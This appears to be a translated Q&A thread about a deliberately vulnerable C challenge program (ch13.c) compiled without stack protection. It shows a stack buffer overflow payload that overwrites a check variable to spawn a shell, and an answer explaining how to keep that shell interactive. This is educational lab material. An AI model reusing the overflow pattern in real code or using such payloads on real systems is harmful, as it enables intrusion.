以下是要利用的应用程序的源代码。 ch13.c:
#include <stdlib.h>
#include <stdio.h>
/*
gcc -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/dash");
}
return 0;
}
在shell中运行后:
python -c 'print "A"*40 + "\xef\xbe\xad\xde"'|./ch13
它显示缓冲区内容和&#34;是的老兄!你赢了!&#34;但没有新壳。 GDB显示新进程已启动但我无法与其进行交互。有没有办法与衍生的shell进行交互,以便它不会很快终止?
答案 0 :(得分:9)
假设/bin/dash
是拼写错误,您的意思是/bin/bash
...
您正在输入ch13
程序。当它调用system()
时,shell会从调用程序继承stdin
和stdout
,这意味着它从同一个管道获取输入。但是,当shell开始执行时,管道已经清空了所有输入,因此shell读取EOF
并立即终止。你真正想要的是将缓冲区溢出传递到stdin
,然后继续将内容放入stdin
。所以,这样的事情应该有效:
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde" > magic_input
cat magic_input - | ./ch13
您可能看不到bash提示,但您应该能够键入命令,按Enter键并获得输出。
编辑:对于可能想在家中尝试此操作的未来好奇的访问者,您可能希望在问题中使用此C程序的更新版本。我的GCC版本是以不同的顺序将变量放在堆栈上。将变量放在结构中会阻止GCC对变量进行重新排序,但是它很可取,因此缓冲区溢出应该按预期直接进入check
变量。
#include <stdlib.h>
#include <stdio.h>
/*
gcc -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
struct {
char buf[40];
int check;
} locals = {.check = 0x04030201};
fgets(locals.buf,45,stdin);
printf("\n[buf]: %s\n", locals.buf);
printf("[check] %p\n", locals.check);
if ((locals.check != 0x04030201) && (locals.check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
if (locals.check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/bash");
}
return 0;
}